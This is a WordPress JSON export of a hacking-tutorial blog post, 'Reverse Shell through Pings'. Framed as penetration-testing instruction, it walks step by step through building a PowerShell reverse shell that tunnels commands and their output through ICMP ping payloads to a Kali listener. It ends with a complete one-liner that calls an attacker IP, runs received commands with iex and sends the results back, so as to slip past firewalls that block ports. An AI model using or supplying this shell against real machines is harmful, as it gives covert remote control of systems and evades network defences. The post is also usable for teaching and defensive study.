{"id":73,"date":"2022-07-16T17:55:32","date_gmt":"2022-07-16T17:55:32","guid":{"rendered":"https:\/\/hacking.cool\/?p=73"},"modified":"2024-03-25T12:01:07","modified_gmt":"2024-03-25T12:01:07","slug":"reverse-shell-through-pings","status":"publish","type":"post","link":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/","title":{"rendered":"Reverse Shell through Pings"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/65f7c4376c9e5.png\" alt=\"\" class=\"wp-image-1004\" style=\"aspect-ratio:16\/9;object-fit:cover;width:800px\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/65f7c4376c9e5.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/65f7c4376c9e5-300x300.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/65f7c4376c9e5-150x150.png 150w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2024\/03\/65f7c4376c9e5-768x768.png 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p class=\"has-black-color has-text-color\">During a penetration test, there may be a scenario where we would like to gain a shell on the system we can execute commands on, however we may not be able to do so because both outbound and inbound ports are blocked. However, we may still gain Reverse Shell connection without using ports at all. Through ping packets, which work over ICMP protocol. As outbound ping requests are rarely banned, this could be a solution in such cases.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">The technique is possible because if we take a look at the structure of an ICMP packet, we can see there is an optional data field (ICMP Payload). That optional data field will be used for our shell instructions and command results.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"533\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp-1024x533.png\" alt=\"\" class=\"wp-image-74\" style=\"width:615px;height:320px\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp-1024x533.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp-600x312.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp-300x156.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp-768x400.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp.png 1199w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p class=\"has-black-color has-text-color\">In this example, the reverse shell will be generated on a windows machine which will be connecting back to kali linux host.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">We are going to use the default icmpsh_m.py ICMP server script (available on Kali Linux) for listening and passing commands to the targeted machine. For the targeted machine itself, we will write a very concise, short powershell script to generate a reverse shell connection back to us. The shorter the script will be, the better.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Lets do a simple test; run the readily available icmpsh_m.py on linux and send some ping data to it from windows machine.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">On the Kali machine the default ICMP server script icmpsh_m.py usually can be found here: \/usr\/share\/sqlmap\/extra\/icmpsh\/icmpsh_m.py<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Run the icmpsh_m.py and pass IP addresses of a Linux and Windows machines respectively:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/icmpsh_m.py &#91;Source IP] &#91;Destination IP]<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">On the Windows machine, open powershell session and type the following command to create a .NET Ping class object and send data (string &#8216;test&#8217;) containing ping packet to the linux machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$p=New-Object System.Net.NetworkInformation.Ping;\n$p.Send(&#91;Destination IP address of your linux machine],60000,(&#91;text.encoding]::ASCII).GetBytes('test'))<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"922\" height=\"195\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp1.png\" alt=\"\" class=\"wp-image-76\" style=\"width:651px;height:137px\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp1.png 922w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp1-600x127.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp1-300x63.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp1-768x162.png 768w\" sizes=\"auto, (max-width: 922px) 100vw, 922px\" \/><\/figure><\/div>\n\n\n<p class=\"has-black-color has-text-color\">On the receiving machine, you should receive &#8216;test&#8217; string:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"643\" height=\"26\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp2_e.png\" alt=\"\" class=\"wp-image-77\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp2_e.png 643w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp2_e-600x24.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp2_e-300x12.png 300w\" sizes=\"auto, (max-width: 643px) 100vw, 643px\" \/><\/figure><\/div>\n\n\n<p class=\"has-black-color has-text-color\">Now lets write the reverse shell. First of all, it is important to disable ICMP ECHO Reply option on the linux system. The point of this is to block the system from sending automatic ping replies, so that we can do that ourselves with our ping server.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sysctl -w net.ipv4.icmp_echo_ignore_all=1<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Setting the IP address of the attacking machine and creating Ping class .NET object which will be used to send ping packets.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ip='192.168.159.130';\n$p=New-Object System.Net.NetworkInformation.Ping;<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Next, we are going to write the function that will receive the data and send it to the linux host.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Refering to the .NET API documentation at https:\/\/docs.microsoft.com\/en-us\/dotnet\/api\/system.net.networkinformation.ping?view=netframework-4.8, we see a number of ways Send method can be used, but the two of interest are:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"273\" src=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3-1024x273.png\" alt=\"\" class=\"wp-image-81\" style=\"width:769px;height:204px\" srcset=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3-1024x273.png 1024w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3-600x160.png 600w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3-300x80.png 300w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3-768x205.png 768w, https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/icmp3.png 1285w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/div>\n\n\n<p class=\"has-black-color has-text-color\">Int32 &#8211; milliseconds to wait for response.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">Byte[] &#8211; this is where ICMP data goes. If we don&#8217;t want packets to be fragmented, the max data size should not exceed 1472 bytes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">PingOptions &#8211; object of the class that allows to tweak specific options for the ping packet, such as DontFragment.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color\">And here is the function:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function f($a){ $p.Send($ip,60000,(&#91;text.encoding]::ASCII).GetBytes($a)) };<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Sending the first data to the attacker machine &#8211; the current folder location. gl &#8211; short for Get-Location, (gl).path will print only the path.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$m='PS '+(gl).path+'&gt; '; \nf($m);<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Next we enter a while loop that will keep shell active until we receive exit command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>while (1) {\n...\n}<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Inside the loop, we are going to continuously send ping (ECHO Request) packets with empty data fields and checking for ping response (ECHO Reply) packets which in their data field should contain our commands. The function will return PingReply system object &#8211; $r.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$r = f('');<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">To access the data area of the packet, we use $r.Buffer &#8211; which is a Byte[] array containing binary values of command strings if we have issued a command, otherwise &#8211; nothing. If the data area of ping Echo Reply packet is empty, we use &#8216;continue&#8217; to move to the top of the while loop and start over.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (!$r.Buffer) { continue }; <\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">If the data field is not empty, we retrieve the command string.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$rs=(&#91;text.encoding]::ASCII).GetString($r.Buffer);<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Checking if our string contains exit, and exit powershell session if it\u2019s the case.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ($rs-like'exit*') { exit }<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Otherwise, we execute the command (iex -C $rs) and save the result in $rt variable as a single string (Out-String).<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>else { $rt=(iex -C $rs | Out-String); <\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Now we have to send the command result string to our linux machine. We are going to divide the string to 80 character long portions and send them one by one. If we don&#8217;t divide our string, it may not pass entirely as there may be different MTU (maximum transmission unit) for different network types (1500 &#8211; for Ethernet). Also, remember that the max amount of bytes for data field of ping packets is 1472 bytes, hence the value chosen should be below that.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$i=0; while ($i -lt $rt.length-80) { f($rt.Substring($i,80)); $i -= -80; }\nf($rt.Substring($i));<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">Once the result string is sent, we send another line to return to the default screen of &#8220;PS [Current folder path] &gt;&#8221;.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$m = 'PS '+(gl).path+'&gt; '; f($m); }; }<\/code><\/pre>\n\n\n\n<p class=\"has-black-color has-text-color\">The whole program executed from cmd.exe:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>powershell -nop -Command \"$ip='192.168.11.147'; $p=New-Object System.Net.NetworkInformation.Ping; function f($a) { $p.Send($ip,60000,(&#91;text.encoding]::ASCII).GetBytes($a)) }; $m='PS '+(gl).path+'&gt; '; f($m); while (1) { $r = f(''); if (!$r.Buffer) { continue }; $rs=(&#91;text.encoding]::ASCII).GetString($r.Buffer); if ($rs-like'exit*') { exit } else { $rt=(iex -C $rs | Out-String); $i=0; while ($i -lt $rt.length-80) { f($rt.Substring($i,80)); $i -= -80; }; f($rt.Substring($i)); $m = 'PS '+(gl).path+'&gt; '; f($m); }; }\"<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>During a penetration test, there may be a scenario where we would like to gain a shell on the system we can execute commands on, however we may not be able to do so because both outbound and inbound ports are blocked. However, we may still gain Reverse Shell connection without using ports at all.<span class=\"post-excerpt-end\">&hellip;<\/span><\/p>\n<p class=\"more-link\"><a href=\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\" class=\"themebutton\">Read More<\/a><\/p>\n","protected":false},"author":3,"featured_media":851,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-73","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-articles"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Reverse Shell through Pings - hacking.cool<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse Shell through Pings - hacking.cool\" \/>\n<meta property=\"og:description\" content=\"During a penetration test, there may be a scenario where we would like to gain a shell on the system we can execute commands on, however we may not be able to do so because both outbound and inbound ports are blocked. However, we may still gain Reverse Shell connection without using ports at all.&hellip;Read More\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\" \/>\n<meta property=\"og:site_name\" content=\"hacking.cool\" \/>\n<meta property=\"article:published_time\" content=\"2022-07-16T17:55:32+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-03-25T12:01:07+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5-768x768.png\" \/>\n\t<meta property=\"og:image:width\" content=\"768\" \/>\n\t<meta property=\"og:image:height\" content=\"768\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Atom\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Atom\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\",\"url\":\"https:\/\/hacking.cool\/atomanya\/\",\"name\":\"hacking.cool\",\"description\":\"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#primaryimage\",\"url\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5.png\",\"contentUrl\":\"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5.png\",\"width\":1024,\"height\":1024},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\",\"url\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\",\"name\":\"Reverse Shell through Pings - hacking.cool\",\"isPartOf\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#primaryimage\"},\"datePublished\":\"2022-07-16T17:55:32+00:00\",\"dateModified\":\"2024-03-25T12:01:07+00:00\",\"author\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\"},\"breadcrumb\":{\"@id\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hacking.cool\/atomanya\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Reverse Shell through Pings\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2\",\"name\":\"Atom\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g\",\"caption\":\"Atom\"},\"url\":\"https:\/\/hacking.cool\/atomanya\/author\/atom\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Reverse Shell through Pings - hacking.cool","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/","og_locale":"en_US","og_type":"article","og_title":"Reverse Shell through Pings - hacking.cool","og_description":"During a penetration test, there may be a scenario where we would like to gain a shell on the system we can execute commands on, however we may not be able to do so because both outbound and inbound ports are blocked. However, we may still gain Reverse Shell connection without using ports at all.&hellip;Read More","og_url":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/","og_site_name":"hacking.cool","article_published_time":"2022-07-16T17:55:32+00:00","article_modified_time":"2024-03-25T12:01:07+00:00","og_image":[{"width":768,"height":768,"url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5-768x768.png","type":"image\/png"}],"author":"Atom","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Atom","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/hacking.cool\/atomanya\/#website","url":"https:\/\/hacking.cool\/atomanya\/","name":"hacking.cool","description":"is the hacking school \ud83d\udc69\ud83c\udffb\u200d\ud83d\udcbb\ud83e\uddd1\ud83c\udffb\u200d\ud83d\udcbb\ud83d\uddfa\ud83d\udcda\ud83d\udcd6","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hacking.cool\/atomanya\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#primaryimage","url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5.png","contentUrl":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5.png","width":1024,"height":1024},{"@type":"WebPage","@id":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/","url":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/","name":"Reverse Shell through Pings - hacking.cool","isPartOf":{"@id":"https:\/\/hacking.cool\/atomanya\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#primaryimage"},"datePublished":"2022-07-16T17:55:32+00:00","dateModified":"2024-03-25T12:01:07+00:00","author":{"@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2"},"breadcrumb":{"@id":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/hacking.cool\/atomanya\/reverse-shell-through-pings\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hacking.cool\/atomanya\/"},{"@type":"ListItem","position":2,"name":"Reverse Shell through Pings"}]},{"@type":"Person","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/804a839cfa61d89d69fb2cf1d2f0adc2","name":"Atom","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hacking.cool\/atomanya\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ac4d05ec7d617e7f2dee5855900a855a?s=96&d=mm&r=g","caption":"Atom"},"url":"https:\/\/hacking.cool\/atomanya\/author\/atom\/"}]}},"jetpack_featured_media_url":"https:\/\/hacking.cool\/atomanya\/wp-content\/uploads\/2022\/07\/65f7c4376c9e5.png","_links":{"self":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/73","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/comments?post=73"}],"version-history":[{"count":23,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/73\/revisions"}],"predecessor-version":[{"id":1006,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/posts\/73\/revisions\/1006"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media\/851"}],"wp:attachment":[{"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/media?parent=73"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/categories?post=73"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking.cool\/atomanya\/wp-json\/wp\/v2\/tags?post=73"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}